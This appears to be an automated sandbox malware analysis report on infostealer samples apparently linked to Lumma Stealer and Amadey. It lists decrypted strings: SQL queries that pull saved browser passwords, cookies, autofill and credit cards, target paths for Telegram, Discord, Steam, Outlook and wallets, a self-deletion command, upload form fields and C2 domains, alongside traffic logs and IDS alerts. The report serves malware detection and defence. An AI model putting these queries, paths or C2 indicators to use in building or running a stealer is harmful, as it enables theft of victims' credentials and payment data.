Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: InternetCloseHandle
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: InternetOpenA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: HttpSendRequestA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: HttpOpenRequestA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: InternetReadFile
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: InternetCrackUrlA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: StrCmpCA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: StrStrA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: StrCmpCW
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: PathMatchSpecA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: RmStartSession
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: RmRegisterResources
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: RmGetList
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: RmEndSession
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: sqlite3_open
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: sqlite3_step
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: sqlite3_column_text
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: sqlite3_finalize
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: sqlite3_close
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: sqlite3_column_blob
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: encrypted_key
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: PATH
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: NSS_Init
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: NSS_Shutdown
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: PK11_FreeSlot
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: PK11_Authenticate
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: C:\ProgramData\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: browser:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: profile:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: url:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: login:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: password:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Opera
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: OperaGX
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Network
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: cookies
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: .txt
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: TRUE
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: FALSE
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: autofill
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: history
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: cc
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: name:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: month:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: year:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: card:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Cookies
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Login Data
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Web Data
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: History
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: logins.json
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: formSubmitURL
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: usernameField
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: encryptedUsername
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: encryptedPassword
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: guid
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: cookies.sqlite
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: formhistory.sqlite
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: places.sqlite
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: plugins
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Local Extension Settings
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Sync Extension Settings
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: IndexedDB
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Opera Stable
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Opera GX Stable
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: CURRENT
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: chrome-extension_
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Local State
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: profiles.ini
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: chrome
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: opera
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: firefox
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: wallets
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: ProductName
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: x32
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: x64
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: ProcessorNameString
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: DisplayName
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: DisplayVersion
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Network Info:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - IP: IP?
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - Country: ISO?
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: System Summary:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - HWID:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - OS:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - Architecture:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - UserName:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - Computer Name:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - Local Time:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - UTC:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - Language:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - Keyboards:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - Laptop:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - Running Path:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - CPU:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - Threads:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - Cores:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - RAM:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - Display Resolution:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: - GPU:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: User Agents:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Installed Apps:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: All Users:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Current User:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Process List:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: system_info.txt
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: freebl3.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: mozglue.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: msvcp140.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: nss3.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: softokn3.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: vcruntime140.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: \Temp\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: .exe
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: runas
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: open
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: /c start
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: %DESKTOP%
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: %APPDATA%
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: %USERPROFILE%
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: %DOCUMENTS%
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: %RECENT%
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: *.lnk
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: files
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: \discord\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: \Telegram Desktop\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: key_datas
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: map*
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Telegram
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Tox
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: *.tox
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: *.ini
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Password
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: 00000001
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: 00000002
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: 00000003
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: 00000004
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Pidgin
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: \.purple\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: accounts.xml
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: token:
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Software\Valve\Steam
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: SteamPath
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: \config\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: ssfn*
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: config.vdf
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: DialogConfig.vdf
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: libraryfolders.vdf
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: loginusers.vdf
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: \Steam\
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: sqlite3.dll
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: browsers
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: done
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: soft
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: https
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: POST
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: HTTP/1.1
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: hwid
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: build
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: token
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: file_name
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: file
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: message
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 24.2.2bbe886987.exe.750000.0.unpack	String decryptor: screenshot.jpg
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: scriptyprefej.store
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: navygenerayk.store
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: founpiuer.store
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: necklacedmny.store
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: thumbystriw.store
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: fadehairucw.store
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: crisiwarny.store
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: presticitpo.store
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: presticitpo.store
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: - Screen Resoluton:
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: Workgroup: -
Source: 21.2.06339d0580.exe.e20000.0.unpack	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49777 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.149:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.6:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.6:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.134:443 -> 192.168.2.6:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.155:443 -> 192.168.2.6:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50187 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 2bbe886987.exe, 00000011.00000002.3466145872.000000006C5FD000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: nss3.pdb@ source: 2bbe886987.exe, 00000011.00000002.3466470146.000000006C7BF000.00000002.00000001.01000000.00000011.sdmp, nss3[1].dll.17.dr, nss3.dll.17.dr
Source:	Binary string: my_library.pdbU source: 06339d0580.exe, 00000010.00000003.3052944187.000000000831B000.00000004.00001000.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3403739193.0000000005E0C000.00000040.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3466757307.000000006C881000.00000002.00000001.01000000.0000000D.sdmp, 2bbe886987.exe, 00000011.00000003.2914827071.00000000051DB000.00000004.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3359810844.000000000077C000.00000040.00000001.01000000.0000000C.sdmp, 06339d0580.exe, 00000015.00000002.3395872833.0000000005C1C000.00000040.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3292954731.00000000081DB000.00000004.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000018.00000002.3359791803.000000000077C000.00000040.00000001.01000000.0000000C.sdmp, 2bbe886987.exe, 00000018.00000003.3096329749.00000000051BB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.17.dr
Source:	Binary string: my_library.pdb source: 06339d0580.exe, 00000010.00000003.3052944187.000000000831B000.00000004.00001000.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3403739193.0000000005E0C000.00000040.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3466757307.000000006C881000.00000002.00000001.01000000.0000000D.sdmp, 2bbe886987.exe, 00000011.00000003.2914827071.00000000051DB000.00000004.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3359810844.000000000077C000.00000040.00000001.01000000.0000000C.sdmp, 06339d0580.exe, 00000015.00000002.3395872833.0000000005C1C000.00000040.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3292954731.00000000081DB000.00000004.00001000.00020000.00000000.sdmp, 2bbe886987.exe, 00000018.00000002.3359791803.000000000077C000.00000040.00000001.01000000.0000000C.sdmp, 2bbe886987.exe, 00000018.00000003.3096329749.00000000051BB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.17.dr
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.17.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.17.dr
Source:	Binary string: nss3.pdb source: 2bbe886987.exe, 00000011.00000002.3466470146.000000006C7BF000.00000002.00000001.01000000.00000011.sdmp, nss3[1].dll.17.dr, nss3.dll.17.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 23e9bcc0a0.exe, 00000016.00000002.3150380365.0000000000EA2000.00000040.00000001.01000000.0000000E.sdmp, 23e9bcc0a0.exe, 00000016.00000003.3014284189.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, 23e9bcc0a0.exe, 00000024.00000003.3212874554.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, 23e9bcc0a0.exe, 00000024.00000002.3254841480.0000000000EA2000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: mozglue.pdb source: 2bbe886987.exe, 00000011.00000002.3466145872.000000006C5FD000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: softokn3.pdb source: softokn3.dll.17.dr

Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe

Directory queried: number of queries: 1817

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50009 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:57613 -> 1.1.1.1:53
